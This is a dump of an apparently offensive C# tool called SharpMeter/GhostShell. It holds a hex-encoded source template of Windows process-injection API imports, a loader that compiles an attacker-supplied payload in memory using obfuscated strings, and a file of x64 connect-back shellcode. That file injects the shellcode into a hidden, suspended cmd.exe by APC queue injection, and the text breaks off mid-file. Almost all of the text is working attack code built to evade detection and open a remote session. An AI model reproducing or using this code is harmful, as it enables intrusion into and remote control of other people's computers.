0x72, 0x69, 0x74, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x49, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x2C, 0x20, 0x53, 0x65, 0x74, 0x4C, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x57, 0x72, 0x69, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x28, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x42, 0x61, 0x73, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x62, 0x79, 0x74, 0x65, 0x5B, 0x5D, 0x20, 0x6C, 0x70, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x6E, 0x53, 0x69, 0x7A, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x4E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x4F, 0x66, 0x42, 0x79, 0x74, 0x65, 0x73, 0x57, 0x72, 0x69, 0x74, 0x74, 0x65, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x51, 0x75, 0x65, 0x75, 0x65, 0x55, 0x73, 0x65, 0x72, 0x41, 0x50, 0x43, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x70, 0x66, 0x6E, 0x41, 0x50, 0x43, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x64, 0x77, 0x44, 0x61, 0x74, 0x61, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x28, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x6C, 0x70, 0x53, 0x74, 0x61, 0x72, 0x74, 0x41, 0x64, 0x64, 0x72, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x2C, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x66, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x79, 0x70, 0x65, 0x2C, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x66, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x2C, 0x20, 0x53, 0x65, 0x74, 0x4C, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x45, 0x78, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x64, 0x77, 0x53, 0x69, 0x7A, 0x65, 0x2C, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x66, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x54, 0x79, 0x70, 0x65, 0x2C, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x66, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x2C, 0x20, 0x53, 0x65, 0x74, 0x4C, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x28, 0x0D, 0x0A, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x62, 0x49, 0x6E, 0x68, 0x65, 0x72, 0x69, 0x74, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x69, 0x6E, 0x74, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, 0x64, 0x0D, 0x0A, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x28, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x41, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x4E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x43, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x4C, 0x69, 0x6E, 0x65, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x2C, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x62, 0x49, 0x6E, 0x68, 0x65, 0x72, 0x69, 0x74, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x73, 0x2C, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x64, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x2C, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x2C, 0x20, 0x72, 0x65, 0x66, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x20, 0x6C, 0x70, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x49, 0x6E, 0x66, 0x6F, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x6C, 0x70, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x52, 0x65, 0x73, 0x75, 0x6D, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x53, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x64, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x45, 0x78, 0x28, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x2C, 0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x53, 0x69, 0x7A, 0x65, 0x2C, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x66, 0x6C, 0x4E, 0x65, 0x77, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x6C, 0x70, 0x66, 0x6C, 0x4F, 0x6C, 0x64, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A };
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/SharpMeter/Program.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.CSharp;
2 | using System;
3 | using System.CodeDom.Compiler;
4 | using System.IO;
5 | using System.Reflection;
6 |
7 |
8 | namespace sharpmtr
9 | {
10 | public class Program
11 | {
12 |
13 | static void Main(string[] args)
14 | {
15 |
16 | if ( args.Length != 1 )
17 | {
18 | Console.WriteLine("Usage : program.exe path_to_p4yl04d ");
19 | return;
20 | }
21 | string filenamepath = args[0];
22 | if (!File.Exists(filenamepath))
23 | {
24 | Console.WriteLine("..dont cheat on me! give me an exisiting file");
25 | return;
26 | }
27 |
28 | CompilerParameters compileParameters = new CompilerParameters();
29 | string currentDirectory = Directory.GetCurrentDirectory();
30 | compileParameters.GenerateInMemory = true;
31 | compileParameters.TreatWarningsAsErrors = false;
32 | compileParameters.GenerateExecutable = false;
33 | compileParameters.CompilerOptions = "/optimize";
34 | compileParameters.ReferencedAssemblies.Add("S" + (char)121 + "s" + (char)84 + "e" + "m" + (char)46 + (char)100 + (char)108 + (char)76);
35 |
36 | string code = System.Text.Encoding.UTF8.GetString(Constants.byteRS);
37 | string stuff = System.IO.File.ReadAllText(filenamepath);
38 | code = code.Replace("|STUFF|", stuff );
39 |
40 | CSharpCodeProvider cSharpCompiler = new CSharpCodeProvider();
41 | CompilerResults compileResults = cSharpCompiler.CompileAssemblyFromSource(compileParameters, code);
42 |
43 | if (compileResults.Errors.HasErrors)
44 | {
45 | string text = "comp errors : ";
46 | foreach (CompilerError compileError in compileResults.Errors)
47 | {
48 | text += "rn " + compileError.ToString();
49 | }
50 | }
51 |
52 | Module module = compileResults.CompiledAssembly.GetModules()[0];
53 | Type type = null;
54 | MethodInfo methodInfo = null;
55 | if (module != null)
56 | {
57 | type = module.GetType("xcute.apcip");
58 | }
59 | if (type != null)
60 | {
61 | methodInfo = type.GetMethod("Fly");
62 | }
63 | if (methodInfo != null)
64 | {
65 | methodInfo.Invoke(null, null);
66 | }
67 | }
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/SharpMeter/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("GhostShell")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("GhostShell")]
13 | [assembly: AssemblyCopyright("Copyright © 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("30b2e0cf-34dd-4614-a5ca-6578fb684aea")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpMeter/SharpMeter.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {385FF0D7-54AC-4974-9C3A-9C8D987B9EBB}
8 | Exe
9 | Properties
10 | sharpmtr
11 | sharpmeter
12 | v4.0
13 | 512
14 | true
15 |
16 |
17 |
18 | x64
19 | true
20 | full
21 | false
22 | bin\Debug\
23 | TRACE;DEBUG
24 | prompt
25 | 4
26 | true
27 |
28 |
29 | AnyCPU
30 | pdbonly
31 | true
32 | bin\Release\
33 | TRACE
34 | prompt
35 | 4
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | TRACE;DEBUG
41 | true
42 | full
43 | x64
44 | prompt
45 | MinimumRecommendedRules.ruleset
46 |
47 |
48 | bin\x64\Release\
49 | TRACE
50 | true
51 | pdbonly
52 | x64
53 | prompt
54 | MinimumRecommendedRules.ruleset
55 |
56 |
57 | true
58 | bin\x86\Debug\
59 | TRACE;DEBUG
60 | true
61 | full
62 | x86
63 | prompt
64 | MinimumRecommendedRules.ruleset
65 |
66 |
67 | bin\x86\Release\
68 | TRACE
69 | true
70 | pdbonly
71 | x86
72 | prompt
73 | MinimumRecommendedRules.ruleset
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
101 |
--------------------------------------------------------------------------------
/SharpMeter/SharpMeter.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | ShowAllFiles
5 |
6 |
7 | .\pay.txt
8 |
9 |
--------------------------------------------------------------------------------
/SharpMeter/apc-new.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Reflection;
3 | using System.Diagnostics;
4 | using System.Runtime.InteropServices;
5 |
6 |
7 | namespace xcute
8 | {
9 |
10 | public class apcip
11 | {
12 | public static void Fly()
13 | {
14 | try
15 | {
16 |
17 | byte[] buf = new byte[650] {
18 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
19 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
20 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
21 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
22 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
23 | 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
24 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
25 | 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
26 | 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
27 | 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
28 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
29 | 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
30 | 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
31 | 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
32 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
33 | 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
34 | 0x49,0xbc,0x02,0x00,0x01,0xbb,0xc0,0xa8,0x01,0x68,0x41,0x54,0x49,0x89,0xe4,
35 | 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
36 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
37 | 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
38 | 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
39 | 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
40 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
41 | 0xe8,0x1f,0x01,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
42 | 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
43 | 0x83,0xf8,0x00,0x0f,0x8e,0x6d,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x5e,0x89,
44 | 0xf6,0x81,0xf6,0xa0,0x05,0xa2,0xd3,0x4c,0x8d,0x9e,0x00,0x01,0x00,0x00,0x6a,
45 | 0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,
46 | 0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x8d,0x98,0x00,0x01,0x00,
47 | 0x00,0x49,0x89,0xdf,0x53,0x56,0x50,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
48 | 0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,
49 | 0x20,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,
50 | 0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,
51 | 0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x20,0xff,0xff,
52 | 0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x75,0xb3,0x49,0x89,0xfe,0x5f,0x59,0x41,
53 | 0x59,0x41,0x56,0xe8,0x10,0x00,0x00,0x00,0x34,0x2a,0x68,0x7e,0xa2,0xd0,0x53,
54 | 0x60,0xc9,0x53,0x10,0x7a,0xcb,0xe8,0x3e,0x08,0x5e,0x48,0x31,0xc0,0x49,0x89,
55 | 0xf8,0xaa,0xfe,0xc0,0x75,0xfb,0x48,0x31,0xdb,0x41,0x02,0x1c,0x00,0x48,0x89,
56 | 0xc2,0x80,0xe2,0x0f,0x02,0x1c,0x16,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,
57 | 0x41,0x88,0x14,0x00,0xfe,0xc0,0x75,0xe3,0x48,0x31,0xdb,0xfe,0xc0,0x41,0x02,
58 | 0x1c,0x00,0x41,0x8a,0x14,0x00,0x41,0x86,0x14,0x18,0x41,0x88,0x14,0x00,0x41,
59 | 0x02,0x14,0x18,0x41,0x8a,0x14,0x10,0x41,0x30,0x11,0x49,0xff,0xc1,0x48,0xff,
60 | 0xc9,0x75,0xdb,0x5f,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,
61 | 0xb5,0xa2,0x56,0xff,0xd5 };
62 |
63 | // Target process
64 | string processpath = @"c:\windows\system32\cmd.exe";
65 | STARTUPINFO si = new STARTUPINFO();
66 | si.cb = (uint)System.Runtime.InteropServices.Marshal.SizeOf(typeof(STARTUPINFO));
67 | si.dwFlags = STARTF_USESHOWWINDOW;
68 | si.wShowWindow = (short)(SW.SW_HIDE);
69 |
70 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
71 |
72 | // Create new process in suspended state to inject into
73 | bool success = CreateProcess(processpath, null,
74 | IntPtr.Zero, IntPtr.Zero, false,
75 | ProcessCreationFlags.CREATE_SUSPENDED,
76 | IntPtr.Zero, null, ref si, out pi);
77 |
78 | // Allocate memory within process and write shellcode
79 | IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, buf.Length, MEM_COMMIT, PAGE_READWRITE);
80 | IntPtr bytesWritten = IntPtr.Zero;
81 | bool resultBool = WriteProcessMemory(pi.hProcess, resultPtr, buf, buf.Length, out bytesWritten);
82 |
83 | // Open thread
84 | IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
85 | uint oldProtect = 0;
86 |
87 | // Modify memory permissions on allocated shellcode
88 | resultBool = VirtualProtectEx(pi.hProcess, resultPtr, buf.Length, PAGE_EXECUTE_READ, out oldProtect);
89 |
90 | // Assign address of shellcode to the target thread apc queue
